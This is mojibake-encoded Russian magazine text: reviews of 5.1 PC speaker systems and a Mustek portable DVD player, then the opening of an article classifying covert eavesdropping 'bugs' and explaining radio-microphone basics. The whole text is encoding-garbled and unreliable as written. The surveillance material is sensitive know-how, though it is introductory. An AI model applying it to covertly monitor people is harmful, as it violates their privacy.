Íåïëîõèå âîçìîæíîñòè òàêæå è ïî ïîäêëþ÷åíèþ ðàçëè÷íûõ çâóêîâîñïðîèçâîäÿùèõ óñòðîéñòâ � ìîæíî îäíîâðåìåííî çàäåé-
ñòâîâàòü íåñêîëüêî âèäîâ âõîäîâ: DVD, êîìïüþòåð è óíèâåðñàëüíûé AUX. Ïîääåðæèâàåòñÿ êîäèðîâàíèå çâóêà â ôîðìàòå AC-
3 è DTS, íó è, åñòåñòâåííî, ïðèñóòñòâóåò âîçìîæíîñòü âîñïðîèçâåäåíèå îáû÷íîãî ñòåðåî. Èíòåðåñíîé ÿâëÿåòñÿ ôóíêöèÿ ìèê-
øèðîâàíèÿ äâóõêàíàëüíîãî èñòî÷íèêà íà âñå ïÿòü êîëîíîê äëÿ ñîçäàíèÿ îáúåìíîãî çâó÷àíèÿ.
Çâó÷àíèå âñåé ñèñòåìû äîñòîéíî óøåé ìåëîìàíà, ïîñêîëüêó âñå ÷àñòîòû (óêàçàííûå â äîêóìåíòàöèè) âîñïðîèçâîäÿòñÿ ñèñòå-
ìîé îäèíàêîâî õîðîøî è ïðîáëåì âðîäå "õðèïîòöû" èëè "çàïèðàíèé" íå îáíàðóæèâàåòñÿ. Òàê ÷òî àêóñòèêà ÿâëÿåòñÿ ïðåêðàñ-
íûì äîïîëíåíèåì ê äîìàøíåìó êèíîòåàòðó, àóäèîöåíòðó èëè èãðîâîé êîíñîëè.
Íåóäîáñòâî ó ýòîé ñèñòåìû îäíî � ÿðêî-ñèíèé èíäèêàòîð ïîäñâåòêè íàñòîëüêî ñèëüíî áüåò ïî ãëàçàì, ÷òî íà âðåìÿ òåñòèðîâà-
íèÿ åãî äàæå ïðèøëîñü çàêëåèòü íåïðîçðà÷íîé èçîëåíòîé.

Ðåàëüíàÿ ìîùíîñòü: 50 Âò (ñàá), 20 Âò (ïåðåäíèå), 20 Âò (çàäíèå)

×àñòîòíûé äèàïàçîí: 35-20000 Ãö
Ìàòåðèàë: äåðåâî (ñàòåëëèòû), äåðåâî (ñàáâóôåð)
Óïðàâëåíèå: ïóëüò ÄÓ + ïàíåëü íà ñàáâóôåðå
Ðàçìåðû: 195õ310õ350 ìì (ñàáâóôåð), 350õ135õ160 ìì (öåíòðàëüíûé),
150õ230õ160 ìì (ñàòåëëèòû)

DEFENDER HOLLYWOOD SPK-D5.1

»

Ñëåãêà çàïóòàííîå ïîäêëþ÷åíèå ñèñòåìû, òàê ÷òî ïîíà÷àëó
ïðèõîäèòñÿ ïîòðàòèòü íåêîòîðîå âðåìÿ, ÷òîáû ðàçîáðàòüñÿ ñ

òåì, êàê æå âñå-òàêè ïðàâèëüíî ñîåäèíèòü ìåæäó ñîáîé âñå êîìïî-
íåíòû ñèñòåìû (õîòÿ íà ñàìîì äåëå íè÷åãî ñëîæíîãî). Çàòåì îêàçàëîñü, ÷òî äëÿ ïîäêëþ÷åíèÿ ê çâóêîâîé êàðòå êîìïüþòåðà òðå-
áóþòñÿ ñïåöèàëüíûå ïåðåõîäíèêè (RCA-MiniJack3.5), êîòîðûõ ïî÷åìó-òî â êîìïëåêòå íå áûëî.
Óïðàâëåíèå ñèñòåìîé ïðîèñõîäèò ïîñðåäñòâîì ïóëüòà èëè æå ïàíåëè íà óñèëèòåëå (êîòîðûé, êñòàòè, ñîâìåùåí ñ öåíò-
ðàëüíûì àêóñòè÷åñêèì êàíàëîì). Ïðèÿòíàÿ îñîáåííîñòü - íàëè÷èå öèôðîâîé èíäèêàöèè óðîâíåé ñèãíàëà ïî êàæäîìó îò-
äåëüíîìó êîìïîíåíòó (ïåðåäíèé, çàäíèé, öåíòðàëüíûé, ñàáâóôåð).
Èçäàâàåìûå àêóñòèêîé çâóêè ïîðàäîâàëè ñâîåé ÷èñòîòîé è ãëóáèíîé (÷òî îáåñïå÷èâàåòñÿ äâóõêîìïîíåíòíîñòüþ ñàòåë-
ëèòîâ, êîòîðûå ñîñòîÿò èç øèðîêîïîëîñíîãî è Â×-äèíàìèêîâ). Ïðàâäà, íà áîëüøîé ãðîìêîñòè îêàçàëîñü, ÷òî ïîÿâëÿþò-
ñÿ íåêîòîðûå äðåáåçæàíèÿ (âûñîêèõ ÷àñòîò), íî òî÷íî âûÿâèòü èõ ïðîèñõîæäåíèå (òî ëè ñàìà ñèñòåìà, òî ëè ÷òî-òî â êîì-
íàòå) íå óäàëîñü, ïîýòîìó, âåðîÿòíî, àêóñòèêà çäåñü íå ïðè ÷åì.
Âïå÷àòëåíèå îò ñèñòåìû âåñüìà ïðèÿòíîå, íî äëÿ äîìàøíåãî êèíîòåàòðà ìû áû èñïîëüçîâàëè êàêîå-ëèáî äðóãîå óñòðîéñòâî,
ïîñêîëüêó äëèíà ïðîâîäîâ ìîæåò îãðàíè÷èòü ðàññòîÿíèå ðàññòàíîâêè êîìïîíåíòîâ.

Ðåàëüíàÿ ìîùíîñòü: 50 Âò (ñàá), 2õ10 Âò (ïåðåäíèå), 2õ10 Âò (çàäíèå)

×àñòîòíûé äèàïàçîí: 40-20000 Ãö
Ìàòåðèàë: äåðåâî (ñàòåëëèòû), ïëàñòèê (ñàáâóôåð)
Óïðàâëåíèå: ïóëüò ÄÓ + ïàíåëü íà óñèëèòåëå

Ðàçìåðû: 280õ420õ350 ìì (ñàáâóôåð), 330õ95õ200 ìì (öåíòðàëüíàÿ-
óñèëèòåëü), 225õ140õ105 ìì (ñàòåëëèòû).

JAZZ J9931

»
Öåíà:

$19
0

Öåíà:

$170

ÂÍÅ ÊÎÍÊÓÐÑÀ

»
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Àêóñòèêà Inspire P5800 îò èçâåñòíîãî ñâîèìè çâóêî-
âûìè êàðòàìè áðýíäà Creative, êàê îáû÷íî, âûäåëÿ-

åòñÿ èç ðÿäà ñåáå ïîäîáíûõ ïðèÿòíûì äèçàéíîì è íåïëî-
õèì êà÷åñòâîì çâó÷àíèÿ. Ïîäêëþ÷åíèå äàííîé ñèñòåìû
íå âûçûâàåò çàòðóäíåíèé, è áóêâàëüíî çà íåñêîëüêî ìè-
íóò ìîæíî ïîëó÷èòü ïîëíîöåííûé "äîìàøíèé êèíîòåàòð",
ñîñòîÿùèé èç ïÿòè ñàòåëëèòîâ è îäíîãî ñàáâóôåðà.
×òî êàñàåòñÿ êà÷åñòâà çâó÷àíèÿ, òî ýòà àêóñòèêà âûãîä-
íî âûäåëÿåòñÿ ñðåäè îòíîñèòåëüíî "äåøåâûõ" ñèñòåì, è, õîòÿ ñàòåëëèòû âûïîëíåíû èç ïëàñòèêà, íà ñðåäíåé ãðîìêîñòè
ìîæíî ïîñëóøàòü ìóçûêó è óõî íå áóäåò "öåïëÿòüñÿ" çà ñëûøèìûå èñêàæåíèÿ. Ïðè ïîâûøåíèè æå ãðîìêîñòè ïðîÿâëÿþò-
ñÿ íåêîòîðûå ïðîáëåìû âðîäå äðåáåçæàíèé âûñîêèõ ÷àñòîò èëè «çàïèðàíèé» ñàáâóôåðà (÷òî îñîáåííî ïðîÿâëÿåòñÿ â èã-
ðàõ, êîãäà, íàïðèìåð, âîêðóã ðàçäàþòñÿ ìíîãî÷èñëåííûå âçðûâû). È âîîáùå ãîâîðÿ, Inspire P5800 áîëüøå ïîäîéäåò â êà-
÷åñòâå êðàñèâîãî äîïîëíåíèÿ ê äîìàøíåìó êîìïüþòåðó/ïëååðó/íîóòáóêó äëÿ ïðîñëóøèâàíèÿ íåãðîìêîé ìóçûêè, ïîñêîëü-
êó èíîãäà ñèñòåìà âõîäèò â íåêèé "ñòóïîð".
Êîìïëåêòàöèÿ äîñòàòî÷íî ñòàíäàðòíàÿ � ïîäñòàâêè äëÿ ñàòåëëèòîâ, íàêëåå÷êè íà ïðîâîäà (÷òîáû íå ïåðåïóòàòü èõ ïðè ïîäêëþ-
÷åíèè) äà âíåøíèé àäàïòåð ïèòàíèÿ (êîòîðûé äîñòàòî÷íî áîëüøîé è òÿæåëûé). Íåóäîáñòâî ñîñòàâëÿåò ïðîâîäíîé ïóëüò, êîòî-
ðûé æåñòêî ïðèâÿçàí ê ñàáâóôåðó, òàê ÷òî óïðàâëåíèå ñèñòåìîé îãðàíè÷åíî íåêîòîðûì ïðîñòðàíñòâîì.

»

Ðåàëüíàÿ ìîùíîñòü: 17 Âò (ñàá), 6 Âò (ïåðåäíèå), 6 Âò (çàäíèå)
×àñòîòíûé äèàïàçîí: 40-20000 Ãö
Ìàòåðèàë: ïëàñòèê (ñàòåëëèòû), ÄÑÏ (ñàáâóôåð)
Óïðàâëåíèå: ïóëüò íà ïðîâîäå
Ðàçìåðû: íå óêàçàíî

CREATIVE INSPIRE P5800

Öåíà:

$75

Ðåàëüíàÿ ìîùíîñòü: 45 Âò (ñàá), 15 Âò (ïåðåäíèå), 15 Âò
(çàäíèå)

×àñòîòíûé äèàïàçîí: 20-20000 Ãö
Ìàòåðèàë: äåðåâî
Óïðàâëåíèå: ïóëüò ÄÓ + ïåðåäíÿÿ ïàíåëü ñàáâóôåðà

Ðàçìåðû: 220x380x330 ìì (ñàá), 160x235x165 ìì (ïåðåäíèå),
120x120x120 ìì (çàäíèå), 360x160x165 ìì (öåíòðàëüíûé)

GENIUS SW-5.1 HOME THEATER DELUXE      

Ëåãåíäàðíàÿ, ìîæíî ñêàçàòü, ñèñòåìà Genius SW-5.1
Home Theater Deluxe óæå íåñêîëüêî ðàç ïîáûâàëà â

íàøåé òåñòîâîé ëàáîðàòîðèè è âîò ñíîâà îêàçàëàñü ñðåäè
òåñòèðóåìîé àêóñòèêè.
Ôóíêöèîíàëüíîñòü ýòîé àêóñòèêè íàõîäèòñÿ íà íåäîñòèæè-
ìîì äëÿ íåêîòîðûõ óðîâíå � ïðèñóòñòâóþò âñå îñíîâíûå âîç-
ìîæíîñòè, ïðè÷åì ðåàëèçàöèÿ èõ âåñüìà è âåñüìà óäîáíàÿ.
Ýëåìåíòû óïðàâëåíèÿ, ðàñïîëàãàþùèåñÿ íà ïåðåäíåé ïàíå-
ëè, îáåñïå÷èâàþò âîçìîæíîñòü ïîëíîãî âçàèìîäåéñòâèÿ ñ êàæäûì çâóêîâûì âõîäîì, à îñíîâíûå ðåãóëÿòîðû ïîçâîëÿþò èçìå-
íÿòü áàëàíñ ìåæäó ñàòåëëèòàìè. Íàäî îòìåòèòü òàêæå è âåñüìà ñòèëüíûé äèçàéí (äåðåâî + ÷åðíûå çàùèòíûå ñåòêè), òàê ÷òî ñèñ-
òåìà ïîäîéäåò ïðàêòè÷åñêè ê ëþáîé îáñòàíîâêå. 
Çâóê, êîíå÷íî æå, âåñüìà è âåñüìà õîðîø, îáåñïå÷èâàåòñÿ ýòî áëàãîäàðÿ íàáîðó äèíàìèêîâ, ïðåäíàçíà÷åííûõ äëÿ
âîñïðîèçâåäåíèÿ ëèøü êàêîãî-òî îïðåäåëåííîãî äèàïàçîíà ÷àñòîò (ïåðåäíèå ñàòåëëèòû ñîäåðæàò è "ïèùàëêó", è
"ñðåäíå÷àñòîòíèê"). Âñÿ àêóñòèêà â öåëîì ïðåêðàñíî ïîêàçàëà ñåáÿ äàæå íà î÷åíü âûñîêîé ãðîìêîñòè è ïîëíîì óðîâ-
íå ðàçëè÷íûõ ÷àñòîò (òî åñòü ïî îòäåëüíîñòè ìû ïðîâåðÿëè âûñîêèå, ñðåäíèå è íèçêèå). Ðàáîòàòü ïîä ìóçûêó, ðàçäà-
þùóþñÿ èç äèíàìèêîâ Genius SW-5.1 Home Theater Deluxe, îäíî óäîâîëüñòâèå, à âî âðåìÿ ìèíóòû îòäûõà ñîçäàåòñÿ
ïðåêðàñíîå çâóêîâîå äîïîëíåíèå ê èãðàì èëè ôèëüìó.
Ñáîðêà ñèñòåìû íå ïðåäñòàâëÿåò îñîáûõ ñëîæíîñòåé, à â êîìïëåêòå îáíàðóæèëèñü äàæå ñêîáû äëÿ çàêðåïëåíèÿ òûëîâûõ ñàòåë-
ëèòîâ íà ñòåíå. Íàëè÷èå æå öåëûõ ïÿòè òèïîâ àêóñòè÷åñêèõ âõîäîâ ïîçâîëÿåò îäíîâðåìåííî ïîäêëþ÷èòü âñþ çâóêîâîñïðîèç-
âîäÿùóþ àïïàðàòóðó â äîìå, à âïîñëåäñòâèè ïåðåêëþ÷àòüñÿ ìåæäó èñòî÷íèêàìè. Åäèíñòâåííûì íåáîëüøèì ìèíóñîì ÿâëÿåòñÿ
íåôóíêöèîíàëüíûé ïóëüò, ïîçâîëÿþùèé èçìåíÿòü òîëüêî îáùóþ ãðîìêîñòü äà ïåðåâîäèòü ñèñòåìó â æäóùèé ðåæèì.

»

Öåíà:

$130

Ñåãîäíÿ ìû âûáðàëè A4Tech S-570 êàê ñèñòåìó ñ
îïòèìàëüíûì ñîîòíîøåíèåì öåíà/êà÷åñòâî,
ïîñêîëüêó îíà îáëàäàåò äîñòàòî÷íîé
ôóíêöèîíàëüíîñòüþ âìåñòå ñ õîðîøèì
çâó÷àíèåì, ïîýòîìó åé ïðèñóæäàåòñÿ íàãðàäà
"Ëó÷øàÿ ïîêóïêà". Âûñøóþ æå íàãðàäó îòäàåì

ñòàðè÷êó Genius SW-5.1 Home Theater Deluxe,
ïîñêîëüêó äàæå ïî ïðîøåñòâèè çíà÷èòåëüíîãî
âðåìåíè ýòà ñèñòåìà íå òåðÿåòñÿ ñðåäè íîâûõ
ìîäåëåé è ïîêàçûâàåò âåñüìà äîñòîéíûé
ðåçóëüòàò. Åå ìû íàãðàæäàåì "Âûáîðîì
ðåäàêöèè".

ÂÛÂÎÄÛ
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Ïðåäñòàâëÿåì íîâèí-
êó äëÿ ëþáèòåëåé ýê-
çîòèêè, ê êîòîðîé åùå
îòíîñÿòñÿ ïîðòàòèâ-
íûå DVD-ïðîèãðûâà-
òåëè, - ïëååð Mustek

PL408. Ìîäåëü èìååò 8,4" ÆÊ-ýêðàí
ñ äîâîëüíî êðóïíûìè ïèêñåëÿìè.
Ìàòðèöà âïîëíå êà÷åñòâåííàÿ, è ïðè
òåñòèðîâàíèè ìû íå çàìåòèëè èíåð-
öèîííîñòè êàðòèíêè äàæå âî âðåìÿ
ïðîñìîòðà ãîíîê. Ïëååð îáëàäàåò
ïðîãðåññèâíîé ðàçâåðòêîé è ñîîòíî-
øåíèåì ñòîðîí 16:9. Ïðè ïðîñìîòðå
ôèëüìîâ òû ñàì ìîæåøü âûáèðàòü
ñîîòíîøåíèå èç íåñêîëüêèõ ïîçè-
öèé. Âîçìîæíû âàðèàíòû íàñòðîéêè
ÿðêîñòè è êîíòðàñòíîñòè, ÷òî ñîâñåì
íå ïîâðåäèò ïðè ïðîñìîòðå â òåìíîì
ïîìåùåíèè èëè â ñîëíå÷íûé äåíü
íà ïðèðîäå. Òàê êàê ïëååð ïîçèöèî-
íèðóåòñÿ êàê ïîðòàòèâíûé, åñòü
ôóíêöèÿ ïîâîðîòà êàðòèíêè íà 180
ãðàäóñîâ â ãîðèçîíòàëüíîé ïëîñêîñ-
òè, ïðè çàêðåïëåíèè íà êðûøå ñàëî-
íà â ìàøèíå - äîâîëüíî îðèãèíàëü-
íûé õîä. Ìîæåøü ïðèêðåïèòü DVD
íà ìàíåð ñîëíöåçàùèòíîãî êîçûðü-
êà è âî âðåìÿ ñòîÿíêè ñìîòðåòü ñ
äðóçüÿìè êèíî.
Íåáîëüøîé òîëùèíû óäàëîñü äîñ-
òè÷ü áëàãîäàðÿ êîìïàêòíîìó ïðèâîäó
è âûíîñíîé àêêóìóëÿòîðíîé áàòàðåå.
Ñèñòåìà Anti-Shock Protection îáåñïå-
÷èâàåò ïðîñìîòð âèäåî äàæå âî âðå-
ìÿ äâèæåíèÿ, à ïðèêðåïëÿåìûé àêêó-
ìóëÿòîð åìêîñòüþ â 4000mAh ïîçâî-
ëÿåò áûòü íåçàâèñèìûì îò ðîçåòêè
áîëåå 3 ÷àñîâ. ×òî êàñàåòñÿ ñòàöèî-
íàðíîãî ïèòàíèÿ, òî åñòü âîçìîæ-
íîñòü ïîäêëþ÷åíèÿ è ê îáû÷íîé ðî-
çåòêå, è ê àâòîìîáèëüíîìó ïðèêóðè-
âàòåëþ - ÷åðåç ñïåöèàëüíûé ïåðå-
õîäíèê. Àêêóìóëÿòîð ìîæíî çàðÿ-
æàòü êàê ïðèêðåïëåííûì ê ïðîèãðû-
âàòåëþ, òàê è îòäåëüíî, äëÿ ÷åãî îí
ñíàáæåí ñïåöèàëüíûì âõîäîì. Äëÿ
òîãî ÷òîáû òû ìîã ñìîòðåòü ôèëüìû
äàæå â ýêñòðåìàëüíûõ óñëîâèÿõ, íà
äíèùå äåâàéñà è àêêóìóëÿòîðà åñòü
ðåçèíîâûå ïîäóøå÷êè, êîòîðûå íå
äàäóò ñêîëüçèòü ïëååðó ïî íàêëîí-
íûì ïîâåðõíîñòÿì.
Åñëè òû ñîáèðàåøüñÿ ñìîòðåòü
ôèëüì íå îäèí, ïîÿâëÿåòñÿ âîçìîæ-
íîñòü âûáîðà ìåæäó âñòðîåííûìè
äèíàìèêàìè è íàóøíèêàìè, äëÿ êîòî-
ðûõ åñòü 2 âûõîäà. Ïðè÷åì ãðîìêîñ-
òè äèíàìèêîâ õâàòèò äàæå â äîâîëü-
íî øóìíîì ìåñòå. Î÷åíü óäîáåí
èíôðàêðàñíûé ïåðåäàò÷èê äëÿ áåñï-

ðîâîäíûõ íàóø-
íèêîâ (â êîìïëåê-
òå íå ïîñòàâëÿþò-
ñÿ). Òàêæå òû ìî-
æåøü ïîäêëþ-
÷èòü Mustek
PL408 ê òåëåâè-
çîðó ÷åðåç àíàëî-
ãîâûé, S-video èëè
êîàêñèàëüíûé âû-
õîä èëè èñïîëüçî-
âàòü ïëååð äëÿ
ïðîñìîòðà çàïè-
ñåé ñ êàìåðû.
Ôàêòè÷åñêè òû
ïîëó÷àåøü
íåáîëü-

øîé ïîðòà-
òèâíûé ìåäèàöåíòð,
êîòîðûé òîëüêî ïèñàòü äà ïîêàçû-
âàòü ÒÂ-òðàíñëÿöèè íå óìååò.
Mustek PL408 èìååò è íåêîòîðûå íå-
äîñòàòêè. Ïðàêòè÷åñêè âñå ôóíêöèè
óïðàâëåíèÿ ïëååðîì âûíåñåíû íà
ïóëüò, íî ëèøü ÷àñòü èç íèõ ïðîäóá-
ëèðîâàíà íà ñàìîì äåâàéñå. Ïðè
ïðîñìîòðå ñ ïîäêëþ÷åííûì àêêóìó-
ëÿòîðîì Mustek PL408 íèêàê íå èí-
ôîðìèðóåò îá óðîâíå çàðÿäà áàòà-
ðåè, òàê ÷òî ïðèõîäèòñÿ ñàìîìó âûñ-
÷èòûâàòü îñòàâøååñÿ âðåìÿ. Ïðè
ïîëíîé ïîñàäêå áàòàðåè ïëååð îòê-
ëþ÷àåòñÿ áåç ïðåäóïðåæäåíèÿ. 
Íàì íà òåñòèðîâàíèå ïîïàëà ìîäåëü
èç 2-é çîíû, ÷òî îãðàíè÷èëî âûáîð
ôèëüìîâ äëÿ ïðîñìîòðà, íî ñàìîïèñ-
íûå äèñêè ïëååð ÷èòàë èñïðàâíî. Ñó-
ùåñòâóþò ìîäèôèêàöèè äëÿ âñåõ 6
çîí. Ïðèÿòíîé íåîæèäàííîñòüþ áû-
ëà íåçàÿâëåííàÿ âîçìîæíîñòü ÷òå-
íèÿ DVD+/-RW äèñêîâ. Òàê ÷òî ñóùå-
ñòâóåò âîçìîæíîñòü ñàìîìó çàïèñû-
âàòü êàêèå-òî ôèëüìû â äîðîãó. Ê
ñîæàëåíèþ, íå ïîääåðæèâàåòñÿ
ñòîëü ðàñïðîñòðàíåííûé ôîðìàò,
êàê DivX, çàòî åñòü ïîääåðæêà mp3.
Óïðàâëåíèå âîñïðîèçâåäåíèåì ìó-
çûêè íå î÷åíü óäîáíî, íî êà÷åñòâî
çâóêà ïîðàäîâàëî. Mustek PL408 â
ðåæèìå ïðîñìîòðà ïîçâîëÿåò ïåðå-

õîäèòü êàê íà âèäåîôðàãìåíòû, òàê è
ïîëüçîâàòüñÿ óñêîðåííûì âîñïðîèç-
âåäåíèåì. "Ïåðåìîòêè" êàê òàêîâîé
íå ñóùåñòâóåò â DVD-ïëååðàõ, íî
åñòü ôóíêöèÿ óñêîðåííîãî â íåñ-
êîëüêî ðàç âîñïðîèçâåäåíèÿ, ïðè
ýòîì âèäåî ðàñïàäàåòñÿ íà ïðÿìîó-
ãîëüíèêè èëè êâàäðàòû (çàâèñèò îò
êîäèðîâàíèÿ)- ýòîò ïëååð ïîçâîëÿåò
âîñïðîèçâîäèòü ñ 32-êðàòíîé ñêî-
ðîñòüþ. Ïðè ïðîèãðûâàíèè DVD+RW
çâóê ïîñëå ïåðåõîäà â íîðìàëüíûé
ðåæèì âîñïðîèçâåäåíèÿ îòñòàâàë íà
íåñêîëüêî ñåêóíä, íî ýòî âïîëíå
ìîæíî ñïèñàòü íà íåïîääåðæèâàå-
ìûé ôîðìàò. Âñå îñòàëüíûå äèñêè
÷èòàëèñü îòëè÷íî.
Â öåëîì, Mustek PL408 - íåïëîõîå ðå-
øåíèå äëÿ ìîáèëüíûõ êèíîìàíîâ. E

Ê

MMuusstteekk PPLL440088

Ïðîèãðûâàåìûå ôîðìàòû äèñêîâ:
DVD\VCD\CD\CD-r\CD-RW, picture CD&JPEG
Äèñïëåé: 8,4"

Âûõîäû: ÈÊ-ïåðåäàò÷èê, äëÿ íàóøíèêîâ(!) è
ÏÄÓ, 2õjack, A\V input\output, S-video, digital
output(coaxial)

Ãàáàðèòû: 212õ158õ29,8

âåñ: 930 ã áåç àêêóìóëÿòîðà

Àëåêñàíäð Èâàíîâ, test_lab (test_lab@gameland.ru)

MUSTEK PL408



Ne01eX (Ne01eX@rambler.ru, www.alexhak.narod.ru)

«Á àã» - óæ î÷åíü ìíîãî çíà÷åíèé èìååò ýòî ñëîâî. Â ìèðå êîìïüþòåðîâ áàãàìè íàçûâàþò îøèáêè â ÷åì-ëèáî. Íó
à â ìèðå êàíèôîëè è ïðèïîÿ ïîä íèì ñêðûâàåòñÿ íå÷òî äðóãîå.

ÏÀßËÜÍÈÊ
ÑÏËÎØÍÛÅ ÁÀÃÈ

å áóäó òîìèòü òåáÿ äîë-
ãèìè ïðåëþäèÿìè íà
òåìó, ïî÷åìó áàãàìè (îò
àíãë. bug - æóê), èëè
æó÷êàìè, íàçâàëè åùå

è óñòðîéñòâà äëÿ íåçàìåòíîãî ïðîñëó-
øèâàíèÿ. Âî ìíîãèõ ðàäèîæóðíàëàõ
äîâîëüíî ÷àñòî îïèñûâàþòñÿ ñõåìû
ìàëîãàáàðèòíûõ ïåðåäàò÷èêîâ. Îäíà-
êî, êàê ïðàâèëî, íàçâàòü ýòè óñòðîé-
ñòâà ìèíèàòþðíûìè ìîæíî òîëüêî ñ
áîëüøîé íàòÿæêîé. Íî ïðåæäå ÷åì
ðóãàòü ÷óæèå æóêè, äàâàé ïîïûòàåìñÿ
ïîíÿòü, êàê îíè âîîáùå ðàáîòàþò.

ÏÎÐÎÄÛ ÆÓÊÎÂ
Äëÿ íà÷àëà ÿ ðàññêàæó òåáå î

êëàññèôèêàöèè ïîäñëóøèâàþùèõ
óñòðîéñòâ. Ïðèâîäèìûé íèæå ñïèñîê
íå ïðåòåíäóåò íà ïîëíîòó è çàêîí÷åí-
íîñòü ïî îäíîé ïðîñòîé ïðè÷èíå - ýòà
îòðàñëü íàðîäíîãî õîçÿéñòâà ïîñòî-
ÿííî ïîïîëíÿåòñÿ íîâèíêàìè, ïðè÷åì
òåìïû ðàçâèòèÿ âïîëíå ìîãóò ïîñî-
ðåâíîâàòüñÿ ñ òåìïàìè ðàçâèòèÿ
êîìïüþòåðíûõ äåâàéñîâ.
1. Ðàäèîïåðåäàò÷èêè ñ ìèêðîôîíîì
1.1. C àâòîíîìíûì ïèòàíèåì
1.2. C ïèòàíèåì îò òåëåôîííîé ëèíèè
1.3. C ïèòàíèåì îò ýëåêòðîñåòè
1.4. C íàêîïëåíèåì èíôîðìàöèè è

ñ ïîñëåäóþùåé ïåðåäà÷åé ñæàòîãî
ïàêåòà
1.5. Ëþáîå èç ïåðå÷èñëåííîãî âû-

øå, óïðàâëÿåìîå äèñòàíöèîííî
1.6. Ëþáîå èç ïåðå÷èñëåííîãî âû-

øå, óïðàâëÿåìîå ãîëîñîì (VOX)
2. Ýëåêòðîííûå "óøè"
2.1. Ìèêðîôîíû ñ ïðîâîäàìè
2.2. Ýëåêòðîííûå ñòåòîñêîïû (ïðîñ-

ëóøèâàþùèå ÷åðåç ñòåíû)
2.3. Óçêîíàïðàâëåííûå ìèêðîôîíû
2.4. Ëàçåðíûå ìèêðîôîíû
2.5. Ìèêðîôîíû, èñïîëüçóþùèå â

êà÷åñòâå êàíàëà ïåðåäà÷è îñâåòè-
òåëüíóþ ñåòü
2.6. Ãèäðîàêóñòè÷åñêèå
3. Óñòðîéñòâà ïåðåõâàòà òåëåôîí-

íûõ ñîîáùåíèé
3.1. Ñ íåïîñðåäñòâåííûì âêëþ÷å-

íèåì â òåëåôîííóþ ëèíèþ
3.2. Èñïîëüçóþùèå îøèáêè â ðà-

áîòå òåëåôîíîâ
4. Ðåòðàíñëÿòîðû

5. Âèäåîñèñòåìû çàïèñè è íàáëþäåíèÿ
Òàêæå ñþäà îòíîñèòñÿ âñå âûøåïå-

ðå÷èñëåííîå â ðàçëè÷íûõ êîìáèíàöè-
ÿõ ñ öèôðîâûìè íàâåñàìè.

×òî êàñàåòñÿ ðàäèîìèêðîôîíîâ, òî,
çàöåíèâàÿ òîò èëè èíîé äåâàéñ, íóæ-
íî ïðèíÿòü âî âíèìàíèå ñëåäóþùèå
õàðàêòåðèñòèêè:

âðåìÿ íåïðåðûâíîé ðàáîòû
äàëüíîñòü äåéñòâèÿ
ìîùíîñòü
÷àñòîòíûé äèàïàçîí
ãàáàðèòû
ìàññà

Ëè÷íî ìíå äîâîëüíî ñìåøíî ÷èòàòü
îá óñòðîéñòâå, ïðåòåíäóþùåì íà ìè-
íèàòþðíîñòü, åñëè â åãî îïèñàíèè íåò
ýòèõ õàðàêòåðèñòèê. È óæ âîîáùå íå
ñîáðàòü îò ñìåõà, êîãäà ïðèâîäÿòñÿ
ñîâåðøåííî íåðåàëüíûå õàðàêòåðèñ-
òèêè (âñå âûøåïåðå÷èñëåííûå ïàðà-
ìåòðû ñèëüíî çàâèñÿò äðóã îò äðóãà).
Êî âòîðîé ãðóïïå ýòî òàêæå îòíîñèò-
ñÿ, õîòÿ è â ìåíüøåé ñòåïåíè. Óñòðîé-
ñòâà âòîðîé ãðóïïû âàæíåé âñåãî ïðà-

âèëüíî çàìàñêèðîâàòü. Äåâàéñû, âõî-
äÿùèå â ãðóïïó 3.1, âîîáùå ìîæíî óñ-
òàíîâèòü â ïîðÿäî÷íîì óäàëåíèè îò
îáúåêòà ïðîñëóøêè (âïëîòü äî àáîíå-
íòñêîãî êîìïëåêòà ÀÒÑ). Íó, à óñòðîé-
ñòâà, âõîäÿùèå â ãðóïïó 3.2, â íàñòîÿ-
ùåå âðåìÿ èñïîëüçóþòñÿ äîâîëüíî
ðåäêî è èçãîòàâëèâàþòñÿ "ïîä êëþ÷" -
êîíêðåòíûé îáúåêò. Ðåòðàíñëÿòîðû
èñïîëüçóþòñÿ òîëüêî â ñëó÷àå çíà÷è-
òåëüíîãî óäàëåíèÿ îò îáúåêòà ïðîñ-
ëóøêè. Îíè ïðåäíàçíà÷åíû äëÿ óâå-
ëè÷åíèÿ äàëüíîñòè ñâÿçè áåç óâåëè-
÷åíèÿ ãàáàðèòîâ è ìîùíîñòè ðàäèî-
çàêëàäêè. Ïðî óñòðîéñòâà, âõîäÿùèå â
ïîñëåäíþþ ãðóïïó, ìíîãî ðàññêàçû-
âàòü íå íóæíî - ñàì ïîíèìàåøü, êàêàÿ
îãðîìíàÿ ïîëüçà îò óøåé ñ ãëàçàìè,
îñîáåííî äëÿ Øòèðëèöåâ XXI âåêà.

ÒÅÎÐÈß
Òåïåðü ðàçáåðåìñÿ ñ ïðèíöèïîì

ðàáîòû. Â ìîåé ïðîøëîé ñòàòüå òû ïî-
ëó÷èë íåêîòîðûå ïîíÿòèÿ î ðàäèîâîë-

Í
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HARD

Åñëè ñèãíàë áóäåò ôîðìèðîâàòüñÿ íà
ðàáî÷åé ÷àñòîòå, òî ïåðåäàò÷èê áóäåò

ðàáîòàòü íåêà÷åñòâåííî.



íàõ. Íó ÷òî æ, êàê ãîâîðèòñÿ, îñòàëîñü
"çàêðåïèòü è óãëóáèòü".

Â îáùåì âèäå ðàäèîìèêðîôîí âûã-
ëÿäèò òàê, êàê ïîêàçàíî íà ðèñ. 1.

Îáëàñòü, çàêðàøåííàÿ êðàñíûì öâå-
òîì, îäíà èç êëàññè÷åñêèõ ñõåì ðàäèî-
ïåðåäàò÷èêà ñ ìèêðîôîíîì. Ñèíóñîè-
äàëüíûé ãåíåðàòîð îïðåäåëÿåò ðàáî-
÷óþ ÷àñòîòó ïåðåäàò÷èêà. Ñîîòâåò-
ñòâåííî, ìåíÿÿ åå, ìû ìåíÿåì ÷àñòîòó.
Îò òèïà ñìåñèòåëÿ çàâèñèò òèï ìîäó-
ëÿöèè (ÀÌ - àìïëèòóäíàÿ, DSB - äâóõ-
ïîëîñíûé ñèãíàë ñ ïîäàâëåííîé íåñó-
ùåé). Íî äàæå åñëè òû íå çíàêîì ñ ïî-
íÿòèåì ìîäóëÿöèè, òåáå äîëæíî áûòü
èçâåñòíî, ÷òî äèàïàçîí 88-108 ÌÃö
çîâåòñÿ FM-äèàïàçîíîì. Ñåé÷àñ ÿ ïî-
ëîìàþ â òåáå îñòàòêè ëàìåðà... Äåëî â
òîì, ÷òî ïî ñïåöèôèêàöèè ÃÎÑÒ àá-
áðåâèàòóðà "ÔÌ" ðàñøèôðîâûâàåòñÿ
